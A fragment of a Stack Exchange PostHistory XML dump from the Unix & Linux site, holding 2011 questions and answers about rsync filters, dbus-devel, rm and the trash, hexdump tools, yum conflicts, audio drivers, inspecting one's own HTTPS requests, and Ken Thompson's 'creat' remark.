`&quot;\e[1;5C&quot;` or `&quot;\eOC&quot;` above.  Repeat for &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;&lt;-&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Note that you need to write the keyboard escape sequences using the [inputrc syntax](http://cnswww.cns.cwru.edu/php/chet/readline/rluserman.html#SEC9), e.g.&#xD;&#xA;&#xD;&#xA;* `\C` means control&#xD;&#xA;* `\e` means escape (which appears as `^[` when typing it using Ctrl+V above)&#xD;&#xA;" />
  <row Id="26294" PostHistoryTypeId="2" PostId="10876" RevisionGUID="7354b4e9-5879-4ad6-a662-0001a3bae463" CreationDate="2011-04-08T00:41:01.863" UserId="6391" Text="I want to move some subset of files from dirA to dirB (let's say files with &quot;blah&quot; in the filename), but I want all the nested directories to be the same in the new location. How can I do that?" />
  <row Id="26295" PostHistoryTypeId="1" PostId="10876" RevisionGUID="7354b4e9-5879-4ad6-a662-0001a3bae463" CreationDate="2011-04-08T00:41:01.863" UserId="6391" Text="How can I copy a subset of files from a directory while preserving the folder structure?" />
  <row Id="26296" PostHistoryTypeId="3" PostId="10876" RevisionGUID="7354b4e9-5879-4ad6-a662-0001a3bae463" CreationDate="2011-04-08T00:41:01.863" UserId="6391" Text="édirectoryöstructureàéfileöcopyà" />
  <row Id="26297" PostHistoryTypeId="2" PostId="10877" RevisionGUID="d7e96d1d-83f6-42e3-8c5b-025744629833" CreationDate="2011-04-08T00:42:13.423" UserId="6381" Text="Just setup an OpenBSD 4.8 VM for VMWare Fusion. Can't seem to force X to any decent resolution. I attempted to try and use the VMWare tools for FreeBSD, but no dice.  &#xD;&#xA;  &#xD;&#xA;Any suggestions to try and get at least 1280x1024?" />
  <row Id="26298" PostHistoryTypeId="1" PostId="10877" RevisionGUID="d7e96d1d-83f6-42e3-8c5b-025744629833" CreationDate="2011-04-08T00:42:13.423" UserId="6381" Text="Getting better resolution using X on OpenBSD w/VMWare Fusion" />
  <row Id="26299" PostHistoryTypeId="3" PostId="10877" RevisionGUID="d7e96d1d-83f6-42e3-8c5b-025744629833" CreationDate="2011-04-08T00:42:13.423" UserId="6381" Text="éxorgàéopenbsdà" />
  <row Id="26300" PostHistoryTypeId="2" PostId="10878" RevisionGUID="c6b8715a-8efb-4d59-ba6d-91b620fcd4c5" CreationDate="2011-04-08T00:45:29.810" UserId="4193" Text="A quick search from yum for dbus fails to turn up the devel related package that should provide dbus.h et al.  Anybody have experience locating the relevant package?  Should I just resort to getting the dbus source itself?  " />
  <row Id="26301" PostHistoryTypeId="1" PostId="10878" RevisionGUID="c6b8715a-8efb-4d59-ba6d-91b620fcd4c5" CreationDate="2011-04-08T00:45:29.810" UserId="4193" Text="Where might the dbus development (.h) files be for RHEL5?" />
  <row Id="26302" PostHistoryTypeId="3" PostId="10878" RevisionGUID="c6b8715a-8efb-4d59-ba6d-91b620fcd4c5" CreationDate="2011-04-08T00:45:29.810" UserId="4193" Text="érhelàédevelopmentàédbusà" />
  <row Id="26303" PostHistoryTypeId="2" PostId="10879" RevisionGUID="2e747cd8-bc3d-46a7-9265-4f88f1f923e0" CreationDate="2011-04-08T01:35:09.840" UserId="6392" Text="Red hat development packages usually end in &quot;-devel&quot;&#xD;&#xA;&#xD;&#xA;Have you had any luck with `dbus-devel`?" />
  <row Id="26304" PostHistoryTypeId="2" PostId="10880" RevisionGUID="31ececca-519b-44cf-bda5-8c3b11e218a7" CreationDate="2011-04-08T01:59:12.137" UserId="3852" Text="`yum provides '*/dbus.h'` will tell you what packages will provide dbus.h. In this case, its dbus-devel.&#xD;&#xA;" />
  <row Id="26305" PostHistoryTypeId="2" PostId="10881" RevisionGUID="8e49ac3d-a175-4e7c-813e-9ba255f51e1a" CreationDate="2011-04-08T02:16:18.730" UserId="3001" Text="The magic of `rsync` filter rules:&#xD;&#xA;&#xD;&#xA;    $ rsync -av --filter=&quot;+ */&quot; --filter=&quot;-! *blah*&quot; /source /dest&#xD;&#xA;&#xD;&#xA;Consult the `rsync` man page for the details on filter rules, but here's the condensed version for this particular need.&#xD;&#xA;&#xD;&#xA;`--filter=&quot;+ */&quot;` means &quot;include everything that is a directory&quot;&#xD;&#xA;&#xD;&#xA;`--filter=&quot;-! *blah*` means &quot;exclude everything that does NOT include blah in the filename&quot;" />
  <row Id="26306" PostHistoryTypeId="2" PostId="10882" RevisionGUID="a0ba0f81-ba7b-42d4-95aa-7952a98517d7" CreationDate="2011-04-08T02:26:41.173" UserId="3169" Text="While we're on `od` and `hexdump`, two more similar tools:&#xD;&#xA;&#xD;&#xA; - hd (from bsdmainutils)&#xD;&#xA; - xxd (part of Vim)" />
  <row Id="26307" PostHistoryTypeId="2" PostId="10883" RevisionGUID="1e63e13a-aa4a-4e9d-978e-1d70a1ae15bb" CreationDate="2011-04-08T02:32:28.110" UserId="5770" Text="This is a n00b question. I apologize. Recently I accidentally did `rm` on a set of files and it got me thinking where exactly these files end up?&#xD;&#xA;&#xD;&#xA;That is to say, when working with a GUI, deleted files go to the Trash. What's the equivalent for `rm` and is there a way of undoing an `rm` command?" />
  <row Id="26308" PostHistoryTypeId="1" PostId="10883" RevisionGUID="1e63e13a-aa4a-4e9d-978e-1d70a1ae15bb" CreationDate="2011-04-08T02:32:28.110" UserId="5770" Text="Where do files go when the rm command is issued?" />
  <row Id="26309" PostHistoryTypeId="3" PostId="10883" RevisionGUID="1e63e13a-aa4a-4e9d-978e-1d70a1ae15bb" CreationDate="2011-04-08T02:32:28.110" UserId="5770" Text="éterminalàérmàétrashà" />
  <row Id="26310" PostHistoryTypeId="5" PostId="10882" RevisionGUID="3853b142-675b-4d04-a3ef-60561d348cfc" CreationDate="2011-04-08T02:41:33.227" UserId="3169" Comment="added 290 characters in body; added 1758 characters in body" Text="While we're on `od` and `hexdump`, two more similar tools:&#xD;&#xA;&#xD;&#xA; - hd (from bsdmainutils)&#xD;&#xA; - xxd (part of Vim)&#xD;&#xA;&#xD;&#xA;Sample output:&#xD;&#xA;&#xD;&#xA;    $ hd /usr/bin/od | head&#xD;&#xA;    00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|&#xD;&#xA;    00000010  02 00 03 00 01 00 00 00  20 8e 04 08 34 00 00 00  |........ ...4...|&#xD;&#xA;    00000020  a4 a2 00 00 00 00 00 00  34 00 20 00 08 00 28 00  |........4. ...(.|&#xD;&#xA;    00000030  1b 00 1a 00 06 00 00 00  34 00 00 00 34 80 04 08  |........4...4...|&#xD;&#xA;    00000040  34 80 04 08 00 01 00 00  00 01 00 00 05 00 00 00  |4...............|&#xD;&#xA;    00000050  04 00 00 00 03 00 00 00  34 01 00 00 34 81 04 08  |........4...4...|&#xD;&#xA;    00000060  34 81 04 08 13 00 00 00  13 00 00 00 04 00 00 00  |4...............|&#xD;&#xA;    00000070  01 00 00 00 01 00 00 00  00 00 00 00 00 80 04 08  |................|&#xD;&#xA;    00000080  00 80 04 08 c4 9d 00 00  c4 9d 00 00 05 00 00 00  |................|&#xD;&#xA;    00000090  00 10 00 00 01 00 00 00  00 a0 00 00 00 20 05 08  |............. ..|&#xD;&#xA;&#xD;&#xA;    $ xxd /usr/bin/od | head&#xD;&#xA;    0000000: 7f45 4c46 0101 0100 0000 0000 0000 0000  .ELF............&#xD;&#xA;    0000010: 0200 0300 0100 0000 208e 0408 3400 0000  ........ ...4...&#xD;&#xA;    0000020: a4a2 0000 0000 0000 3400 2000 0800 2800  ........4. ...(.&#xD;&#xA;    0000030: 1b00 1a00 0600 0000 3400 0000 3480 0408  ........4...4...&#xD;&#xA;    0000040: 3480 0408 0001 0000 0001 0000 0500 0000  4...............&#xD;&#xA;    0000050: 0400 0000 0300 0000 3401 0000 3481 0408  ........4...4...&#xD;&#xA;    0000060: 3481 0408 1300 0000 1300 0000 0400 0000  4...............&#xD;&#xA;    0000070: 0100 0000 0100 0000 0000 0000 0080 0408  ................&#xD;&#xA;    0000080: 0080 0408 c49d 0000 c49d 0000 0500 0000  ................&#xD;&#xA;    0000090: 0010 0000 0100 0000 00a0 0000 0020 0508  ............. ..&#xD;&#xA;&#xD;&#xA;Or, if you want to read the bytes one at a time and print them in your own format, try something like:&#xD;&#xA;&#xD;&#xA;    while read -n 1 byte; do&#xD;&#xA;        ord=$(printf &quot;%b&quot; &quot;${byte:-\000}&quot; |&#xD;&#xA;              od -t x1 |&#xD;&#xA;              { read offset hex; echo $hex; })&#xD;&#xA;        echo &quot;$ord&quot;&#xD;&#xA;    done &lt;/usr/bin/od&#xD;&#xA;&#xD;&#xA;Sample output:&#xD;&#xA;&#xD;&#xA;    7f&#xD;&#xA;    45&#xD;&#xA;    4c&#xD;&#xA;    46&#xD;&#xA;    01&#xD;&#xA;    01&#xD;&#xA;    01&#xD;&#xA;    00&#xD;&#xA;    00&#xD;&#xA;    00&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26311" PostHistoryTypeId="25" PostId="10857" RevisionGUID="49364aeb-ef70-49dd-8d2f-65f6fe78d9a3" CreationDate="2011-04-08T03:09:03.247" Comment="http://twitter.com/#!/StackUnix/status/56191797260587008" />
  <row Id="26313" PostHistoryTypeId="2" PostId="10884" RevisionGUID="dbce5dca-258e-4684-94b0-e8c086244635" CreationDate="2011-04-08T03:54:24.347" UserId="6167" Text="Nowhere, gone, vanished.  Well, more specifically, the file gets unlinked.  The data is still sitting there on disk, but the link to it is removed.  It used to be possible to retrieve the data, but nowadays the metadata is cleared and nothings recoverable.  There is no Trash can for rm, nor should there be.  If you need a Trash can, you should use a higher-level interface.  There is a command-line utility in trash-cli on Ubuntu, but but most of the time GUI file managers like Nautilus or Dolphin are used to provide a standard Trash can.  The Trash can is standard itself.  Files trashed in Dolphin will be visible in the Trash from Nautilus.  Files are usually moved to somewhere like `~/.local/share/Trash/files/` when trashed.  The rm command on UNIX/Linux is comparable to del on DOS/Windows which also deletes and does **not** move files to the Recycle Bin.  Another thing to realize is that moving a file across filesystems like to your USB disk from your Hard Disk Drive is really a copy of the file data followed by unlinking the original file.  You wouldn't want your Trash to be filled up with these extra copies." />
  <row Id="26314" PostHistoryTypeId="2" PostId="10885" RevisionGUID="ca38aa93-680c-4d5c-ba77-1367f82ae398" CreationDate="2011-04-08T04:14:22.910" UserId="6167" Text="The tricky part with that file system is it used an MTD device for storage which is neither a block nor character device.  The YAFFS2 filesystem has a dummy MTD device that stores data in an in-memory virtual NAND Flash.  You can probably borrow it and coach it into working with JFFS2, but I'm not sure how useful it will be for profiling when the virtual hardware is hundreds of thousands of times faster than real hardware." />
  <row Id="26315" PostHistoryTypeId="2" PostId="10886" RevisionGUID="44949065-b57e-4449-90ca-e1ec53ebddae" CreationDate="2011-04-08T04:26:17.397" UserId="6394" Text="Hello.  I'm working with a cluster of Linux servers sitting behind the Amazon cloud autoscaling feature.  For those unfamiliar, read here: [http://aws.amazon.com/autoscaling/][1]&#xD;&#xA;&#xD;&#xA;Anyways.  There are files that accumulate on each server, they are cache files for the application.  I am searching for an automated way to have the servers sync that folder amongst themselves.&#xD;&#xA;&#xD;&#xA;RSYNC would work if someone had a clever way to do peer detection.  Same goes for Unison.&#xD;&#xA;&#xD;&#xA;We have also considered using a SaaS like Dropbox.&#xD;&#xA;&#xD;&#xA;Gluster seems like overkill, and I'm not sure how easy it is to have a new computer auto-join the cluster.&#xD;&#xA;&#xD;&#xA;Ideally what would happen is when a new server is launched, it discovers it's peers and begins syncing the folder.  From that point on it's a latest filestamp wins P2P synchronization.&#xD;&#xA;&#xD;&#xA;Anything out there that does this?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aws.amazon.com/autoscaling/" />
  <row Id="26316" PostHistoryTypeId="1" PostId="10886" RevisionGUID="44949065-b57e-4449-90ca-e1ec53ebddae" CreationDate="2011-04-08T04:26:17.397" UserId="6394" Text="Directory sync with automatic peer discovery" />
  <row Id="26317" PostHistoryTypeId="3" PostId="10886" RevisionGUID="44949065-b57e-4449-90ca-e1ec53ebddae" CreationDate="2011-04-08T04:26:17.397" UserId="6394" Text="élinuxàérsyncàéclusterà" />
  <row Id="26318" PostHistoryTypeId="2" PostId="10887" RevisionGUID="73bde2fd-3314-4a2f-94da-c00e8e9a0653" CreationDate="2011-04-08T05:27:08.767" UserId="5614" Text="I'm trying to automate access to a website via scraping, and I'm trying to determine what parameters are being sent to the server in a POST request. I've currently got Wireshark open, but is there a better way to do this? Will I be able to see my POST request in plaintext, since the connection is HTTPS?" />
  <row Id="26319" PostHistoryTypeId="1" PostId="10887" RevisionGUID="73bde2fd-3314-4a2f-94da-c00e8e9a0653" CreationDate="2011-04-08T05:27:08.767" UserId="5614" Text="How to examine POST request over HTTPS?" />
  <row Id="26320" PostHistoryTypeId="3" PostId="10887" RevisionGUID="73bde2fd-3314-4a2f-94da-c00e8e9a0653" CreationDate="2011-04-08T05:27:08.767" UserId="5614" Text="éhttpàésslà" />
  <row Id="26321" PostHistoryTypeId="2" PostId="10888" RevisionGUID="c5aad7d8-f233-43e4-bfa8-c396dfe67fc1" CreationDate="2011-04-08T05:36:57.817" UserId="4293" Text="If you are using Firefox als your HTTP-client there's the option to use the &quot;[Tamper Data][1]&quot; AddOn to investigate your HTTP POST requests (and even replay them with an editable set of data).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/" />
  <row Id="26322" PostHistoryTypeId="2" PostId="10889" RevisionGUID="f06bfaff-6586-413c-92b8-5dd9aaf68325" CreationDate="2011-04-08T05:59:39.800" UserId="5685" Text="The wireshark wiki has a link on [how to decrypt SSL traffic with wireshark][1]. That requires control on the certificate that the client uses, though, not sure it applies to you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.wireshark.org/SSL" />
  <row Id="26323" PostHistoryTypeId="25" PostId="10887" RevisionGUID="51573fb3-8349-4eb3-8bdf-e63f7006d7d4" CreationDate="2011-04-08T06:09:02.817" Comment="http://twitter.com/#!/StackUnix/status/56237094443565056" />
  <row Id="26324" PostHistoryTypeId="5" PostId="10883" RevisionGUID="0da3ad08-67a7-4683-9a60-fb18631c6b29" CreationDate="2011-04-08T06:52:45.210" UserId="688" Comment="rm apology" Text="Recently I accidentally did `rm` on a set of files and it got me thinking where exactly these files end up?&#xD;&#xA;&#xD;&#xA;That is to say, when working with a GUI, deleted files go to the Trash. What's the equivalent for `rm` and is there a way of undoing an `rm` command?" />
  <row Id="26325" PostHistoryTypeId="5" PostId="10842" RevisionGUID="f91d2042-0a9d-4298-b703-cdc202ff46e9" CreationDate="2011-04-08T06:57:19.540" UserId="4523" Comment="added 6 characters in body" Text="I'm using following alias for it: `alias ds='du -x --all --max-depth=1 . | sort -n'`&#xD;&#xA;&#xD;&#xA;It prints sizes of all files and 1-st level subdirectories of current dir." />
  <row Id="26326" PostHistoryTypeId="5" PostId="10817" RevisionGUID="4d022a3c-a875-43a2-b750-5dff29fe6dab" CreationDate="2011-04-08T08:27:06.423" UserId="5430" Comment="added 106 characters in body" Text="I am running Debian Squeeze. I installed and removed Gnome3 and reinstalled Gnome2.x (epic fail and stupidity) and in the process I have lost audio, `lspci` returns following   &#xD;&#xA;&#xD;&#xA;    # lspci | grep Audio&#xD;&#xA;    00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03)   &#xD;&#xA;&#xD;&#xA;But lsmod doesn't return any thing.   &#xD;&#xA;&#xD;&#xA;    $ lsmod |grep audio&#xD;&#xA;&#xD;&#xA;Any idea what could be wrong? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is an update, I tried to install whatever possible package was removed by studying `/var/log/dpkg.log`. This fixed my other issues like no right click on desktop and blunt looking buttons etc. Now I have everything in order but sound is missing. I don't see sound section in `gnome-control-center`. Here are some findings:   &#xD;&#xA;&#xD;&#xA;    kumar@debian-box:/$ lspci | grep Audio&#xD;&#xA;    00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03)&#xD;&#xA;    kumar@debian-box:/$ lsmod |grep audio&#xD;&#xA;    kumar@debian-box:/$ lsmod |grep snd  &#xD;&#xA;    kumar@debian-box:/$ lsmod |grep sound&#xD;&#xA;    kumar@debian-box:/$ cat alsa-base.conf&#xD;&#xA;    # autoloader aliases&#xD;&#xA;    install sound-slot-0 /sbin/modprobe snd-card-0&#xD;&#xA;    install sound-slot-1 /sbin/modprobe snd-card-1&#xD;&#xA;    install sound-slot-2 /sbin/modprobe snd-card-2&#xD;&#xA;    install sound-slot-3 /sbin/modprobe snd-card-3&#xD;&#xA;    install sound-slot-4 /sbin/modprobe snd-card-4&#xD;&#xA;    install sound-slot-5 /sbin/modprobe snd-card-5&#xD;&#xA;    install sound-slot-6 /sbin/modprobe snd-card-6&#xD;&#xA;    install sound-slot-7 /sbin/modprobe snd-card-7&#xD;&#xA;    # Cause optional modules to be loaded above generic modules&#xD;&#xA;    install snd /sbin/modprobe --ignore-install snd &amp;&amp; { /sbin/modprobe --quiet snd-ioctl32 ; /sbin/modprobe --quiet snd-seq ; }&#xD;&#xA;    install snd-rawmidi /sbin/modprobe --ignore-install snd-rawmidi &amp;&amp; { /sbin/modprobe --quiet snd-seq-midi ; : ; }&#xD;&#xA;    install snd-emu10k1 /sbin/modprobe --ignore-install snd-emu10k1 &amp;&amp; { /sbin/modprobe --quiet snd-emu10k1-synth ; : ; }&#xD;&#xA;    &#xD;&#xA;    # Prevent abnormal drivers from grabbing index 0&#xD;&#xA;    options bt87x index=-2&#xD;&#xA;    options cx88_alsa index=-2&#xD;&#xA;    options snd-atiixp-modem index=-2&#xD;&#xA;    options snd-intel8x0m index=-2&#xD;&#xA;    options snd-via82xx-modem index=-2&#xD;&#xA;    # Keep snd-pcsp from beeing loaded as first soundcard&#xD;&#xA;    options snd-pcsp index=-2&#xD;&#xA;    # Keep snd-usb-audio from beeing loaded as first soundcard&#xD;&#xA;    options snd-usb-audio index=-2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hope this helps in helping me. Its really hard for me to concentrate w/out headphones :(&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Last update, I fixed it using `sudo modprobe snd-hda-intel`, it seems I messed up kernel headers. " />
  <row Id="26327" PostHistoryTypeId="2" PostId="10890" RevisionGUID="4c7104a5-856a-41c1-af38-d34753c493e3" CreationDate="2011-04-08T08:27:51.787" UserId="6167" Text="My favorite Firefox extension is Live HTTP Headers.  You can either capture live headers as various HTTP requests are made, and open up page info and look at the headers for the current page that was loaded.  In addition to showing both all request and response headers, it also show the contents of a POST body." />
  <row Id="26328" PostHistoryTypeId="2" PostId="10891" RevisionGUID="b6a94297-0bed-4ef6-8b57-2c5c6688e2ce" CreationDate="2011-04-08T08:40:21.100" UserId="6400" Text="i've tried today, to replace packages from atomiccorp's repositories with newer packages from the epel/remi repositiories and recieved Transaction Check Error's. &#xD;&#xA;&#xD;&#xA;i can not proceed with my update.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Install       5 Package(s)&#xD;&#xA;    Upgrade      23 Package(s)&#xD;&#xA;    &#xD;&#xA;    Total size: 24 M&#xD;&#xA;    Is this ok [y/N]: y&#xD;&#xA;    Downloading Packages:&#xD;&#xA;    Running rpm_check_debug&#xD;&#xA;    Running Transaction Test&#xD;&#xA;    Finished Transaction Test&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Transaction Check Error:&#xD;&#xA;      file /etc/php.ini from install of php-common-5.3.6-1.el5.remi.x86_64 conflicts with file from package php-common-5.2.17-1.el5.art.i386&#xD;&#xA;      file /usr/share/man/man1/php.1.gz from install of php-cli-5.3.6-1.el5.remi.x86_64 conflicts with file from package php-cli-5.2.17-1.el5.art.i386&#xD;&#xA;    &#xD;&#xA;    Error Summary&#xD;&#xA;    -------------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;what is a Transaction Check Error and how to remove it ?&#xD;&#xA;" />
  <row Id="26329" PostHistoryTypeId="1" PostId="10891" RevisionGUID="b6a94297-0bed-4ef6-8b57-2c5c6688e2ce" CreationDate="2011-04-08T08:40:21.100" UserId="6400" Text="What is a Transaction Check Error ? (yum update)" />
  <row Id="26330" PostHistoryTypeId="3" PostId="10891" RevisionGUID="b6a94297-0bed-4ef6-8b57-2c5c6688e2ce" CreationDate="2011-04-08T08:40:21.100" UserId="6400" Text="éfedoraàécentosàéyumàéupgradeà" />
  <row Id="26331" PostHistoryTypeId="25" PostId="10883" RevisionGUID="5743e9fa-66cc-4f15-8407-b1fe9e5af8be" CreationDate="2011-04-08T09:09:02.827" Comment="http://twitter.com/#!/StackUnix/status/56282393472008192" />
  <row Id="26332" PostHistoryTypeId="5" PostId="10821" RevisionGUID="5cece9f9-cefd-4234-b381-1a8e99d5c432" CreationDate="2011-04-08T09:14:38.157" UserId="5646" Comment="deleted 129 characters in body" Text="I’m having a strange networking problem with a Debian (6) VMWare virtual machine on my Mac. Around 15 minutes after starting it up, I can no longer SSH into, view websites served from, or ping the VM.&#xD;&#xA;&#xD;&#xA;I usually run the VM in headless mode, using `vmrun -T fusion start VIRTUALMACHINEPATH nogui`, but the problem occurs when I start the virtual machine via VMWare.app too.&#xD;&#xA;&#xD;&#xA;When I use `ifconfig` to check the machine’s IP address once the network connections have failed (which I do via the GUI — launching VMWare.app after the server is inaccessible in headless mode gives me a GUI access to the server), the following line is missing:&#xD;&#xA;&#xD;&#xA;     inet addr:192.168.231.137  Bcast:192.168.231.255  Mask:255.255.255.0&#xD;&#xA;&#xD;&#xA;(This line is present when I boot up; it disappears after the network connections go down.)&#xD;&#xA;&#xD;&#xA;This started happening yesterday, seemingly for no reason — the VM’s been running fine for a couple of weeks. I installed rsync on the VM yesterday, and was writing some Python code that used `subprocess` to start Xvfb and Selenium Server. I don’t know if that code somehow managed to permanently bork networking on the VM.&#xD;&#xA;&#xD;&#xA;I’ve tried copying the .vdmx files and opening them in a VirtualBox virtual machine. The network issue doesn’t seem to happen there (i.e. the `inet addr` line in `ifconfig` stays present for over an hour); however, VirtualBox VMs don’t by default make the virtual machine accessible on the network, whereas VMWare seems to do so. I haven’t figured out how to turn on NAT port forwarding for incoming connections to the VirtualBox VM in the same way that VMWare is set up. (Both my VMWare and VitualBox virtual machines use NAT for networking.)&#xD;&#xA;&#xD;&#xA;I’m a total networking idiot, so I don’t know if this is a VMWare issue, something I’ve managed to do in Linux, or some sort of random external attack — hence the [cross-posting](http://superuser.com/questions/267788/why-does-my-debian-vmware-virtual-machine-lose-all-network-connections-15-minute)." />
  <row Id="26333" PostHistoryTypeId="2" PostId="10892" RevisionGUID="7b04b2d2-a2f7-43fc-bbd2-8b36b9bcdd30" CreationDate="2011-04-08T09:27:28.997" UserId="6149" Text="Use ***Fiddler2***.  It acts as a proxy and will basically perform a man-in-the-middle attack to sniff HTTPS.  You'll get a cert error, but that's fine.&#xD;&#xA;&#xD;&#xA;EDIT:  It also works for more than just web traffic." />
  <row Id="26335" PostHistoryTypeId="17" PostId="10894" RevisionGUID="aaa2f225-cbd1-4a23-92b1-45b471800042" CreationDate="2011-04-08T10:00:25.450" UserId="-1" Comment="from http://stackoverflow.com/questions/1713457/what-did-ken-thompson-mean-when-he-said-id-spell-create-with-an-e/1713461#1713461" Text="" />
  <row Id="26336" PostHistoryTypeId="17" PostId="10895" RevisionGUID="98373dd9-282a-4454-b9f8-6077a6766720" CreationDate="2011-04-08T10:00:25.450" UserId="-1" Comment="from http://stackoverflow.com/questions/1713457/what-did-ken-thompson-mean-when-he-said-id-spell-create-with-an-e/1713575#1713575" Text="" />
  <row Id="26337" PostHistoryTypeId="17" PostId="10896" RevisionGUID="b7655eea-ec1b-44c4-8291-1fb6375d6e16" CreationDate="2011-04-08T10:00:25.450" UserId="-1" Comment="from http://stackoverflow.com/questions/1713457/what-did-ken-thompson-mean-when-he-said-id-spell-create-with-an-e/1718249#1718249" Text="" />
  <row Id="26338" PostHistoryTypeId="2" PostId="10894" RevisionGUID="204025dd-a9c5-45e5-b92a-763138d060da" CreationDate="2009-11-11T06:40:09.040" UserDisplayName="Heath Hunnicutt" Text="It's a Unix system call that creates a file:  At a Unix shell prompt, type &lt;code&gt;man 2 creat&lt;/code&gt; to learn more." />
  <row Id="26339" PostHistoryTypeId="2" PostId="10895" RevisionGUID="91c653b6-5059-4fdc-81fa-108835da99ab" CreationDate="2009-11-11T07:17:26.613" UserDisplayName="Pavel Shved" Text="Not only he refers to `man 2 creat` system call.  He also refers to the obsolete trends to save on every tiny character, where possible, sometimes this being only confusing, especially now, when typing and storing another character is rarely an obstacle." />
  <row Id="26340" PostHistoryTypeId="2" PostId="10896" RevisionGUID="018a7141-c12e-45cf-970e-6f9d7986bef0" CreationDate="2009-11-11T21:34:31.733" UserId="1054" Text="It refers to the UNIX system call to create new files. Linkers on some machines were limited to identifiers of at most 6 characters. Apparently, Ken had to work with such a linker and hence the *create* system call was shortened to *creat* to match this limitation. The irony is that *create* does too.&#xD;&#xA;&#xD;&#xA;See also, question [682719](http://stackoverflow.com/questions/682719/what-does-the-9th-commandment-mean)&#xD;&#xA;" />
  <row Id="26341" PostHistoryTypeId="2" PostId="10893" RevisionGUID="91a53773-52f5-4cb2-a883-0f87e65a8013" CreationDate="2009-11-11T06:38:56.863" UserDisplayName="Timk" Text="&gt; [Ken Thompson, the creator of Unix, was once asked what he'd do if he had &#xD;&#xA;it to do over again. He said, &quot;I'd spell create with an 'e'.&quot;][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What is Ken referring to? Is there a &quot;creat&quot; command?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikiquote.org/wiki/Kenneth_Thompson" />
  <row Id="26342" PostHistoryTypeId="1" PostId="10893" RevisionGUID="91a53773-52f5-4cb2-a883-0f87e65a8013" CreationDate="2009-11-11T06:38:56.863" UserDisplayName="Timk" Text="What did Ken Thompson mean when he said, &quot;I'd spell create with an 'e'.&quot;" />
  <row Id="26343" PostHistoryTypeId="3" PostId="10893" RevisionGUID="91a53773-52f5-4cb2-a883-0f87e65a8013" CreationDate="2009-11-11T06:38:56.863" UserDisplayName="Timk" Text="éuntaggedà" />
  <row Id="26344" PostHistoryTypeId="17" PostId="10893" RevisionGUID="08d26c74-1d40-44e9-a021-a963769e532a" CreationDate="2011-04-08T10:00:25.450" UserId="-1" Comment="from http://stackoverflow.com/questions/1713457/what-did-ken-thompson-mean-when-he-said-id-spell-create-with-an-e" Text="" />
  <row Id="26345" PostHistoryTypeId="2" PostId="10897" RevisionGUID="73bc1896-2bfe-4942-a44b-4e5f2d1b2048" CreationDate="2011-04-07T12:01:40.747" UserDisplayName="crom" Text="Hello.&#xD;&#xA;I have the following problem: Let's say I have an X11 server (it is the Xvfb) set to run at a resolution of 1024x768. Now I want to run inside it the Gnome desktop, not at the resolution of 1024x768 but, lets say, 640x480 with the condition that the Gnome desktop is centered inside the X11 space. Anyone knows how to do that? I have tried passing gnome-session the parameter --geometry but it does not like it.&#xD;&#xA;Just In case it matters: The system is a Centos 5.5 with the latest updates installted.&#xD;&#xA;Thanks in advance!" />
  <row Id="26346" PostHistoryTypeId="1" PostId="10897" RevisionGUID="73bc1896-2bfe-4942-a44b-4e5f2d1b2048" CreationDate="2011-04-07T12:01:40.747" UserDisplayName="crom" Text="Make a windowmanager/desktop (Gnome) use only a part of an X11 server's (Xvfb) resolution." />
  <row Id="26347" PostHistoryTypeId="3" PostId="10897" RevisionGUID="73bc1896-2bfe-4942-a44b-4e5f2d1b2048" CreationDate="2011-04-07T12:01:40.747" UserDisplayName="crom" Text="éx11àégnomeàéxvfbà" />
  <row Id="26348" PostHistoryTypeId="17" PostId="10897" RevisionGUID="2d6de68e-7a18-4a04-9571-638173fc53b7" CreationDate="2011-04-08T10:08:11.243" UserId="-1" Comment="from http://stackoverflow.com/questions/5580685/make-a-windowmanager-desktop-gnome-use-only-a-part-of-an-x11-servers-xvfb-re" Text="" />
  <row Id="26349" PostHistoryTypeId="5" PostId="421" RevisionGUID="348c49ad-d7c2-47c3-9169-c7673569d08d" CreationDate="2011-04-08T11:58:40.733" UserId="1594" Comment="link to Tomboy" Text="As a Blogger user who has been repeatedly burned by Blogger's web editor, I find myself using [Tomboy][1] to draft my blogs, and then I use the [Tomboy Blogposter][2] add-in to upload the blog as a draft, and make any necessary tweaks.  This is nice because I'm already a heavy Tomboy user so drafting blog posts in a Tomboy note feels natural.  Also, the add-in works on Windows and Mac, too.&#xD;&#xA;&#xD;&#xA;Depending on your style, you may find the need to make these tweaks after uploading a deal-breaker:&#xD;&#xA;&#xD;&#xA; - Creating proper hyperlinks (Tomboy does not let you link arbitrary text to arbitrary URLs)&#xD;&#xA; - Adding images (Tomboy does not have built-in image support)&#xD;&#xA; - Finally, making whatever style tweaks seem necessary, though for the most part I am very satisfied with the HTML uploaded by the Blogposter add-in&#xD;&#xA;&#xD;&#xA;The Blogposter add-in does not ship with Tomboy, but is packaged for most popular distros, and also available in source and binary form from the developer's website (in which case installation is as easy as dropping the .dll file into `~/.config/tomboy/addins`).&#xD;&#xA;&#xD;&#xA;The add-in seems to support most popular blogging platforms.  From the site:&#xD;&#xA;&gt; Tomboy Blogposter is a Tomboy plugin&#xD;&#xA;&gt; to post notes to a blog from for&#xD;&#xA;&gt; instance Wordpress, Blogger or&#xD;&#xA;&gt; LiveJournal, or (hopefully) any other&#xD;&#xA;&gt; AtomPub enabled website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://projects.gnome.org/tomboy/?pagewanted=all&#xD;&#xA;  [2]: http://flukkost.nu/blog/tomboyblogposter/" 